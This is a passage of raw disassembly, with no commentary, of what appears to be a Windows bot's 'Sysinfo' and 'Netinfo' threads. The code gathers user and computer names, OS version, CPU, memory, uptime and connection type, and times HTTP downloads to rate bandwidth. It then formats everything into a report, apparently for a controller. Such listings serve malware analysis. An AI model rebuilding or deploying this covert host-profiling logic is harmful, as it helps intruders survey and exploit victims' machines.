sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE30 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE30 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE30 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset loc_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset loc_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF48 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF48 call dword_41DE84 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo push [ebp+var_824] call dword_41DE8C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE7C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE7C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE30 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE30 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE30 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] 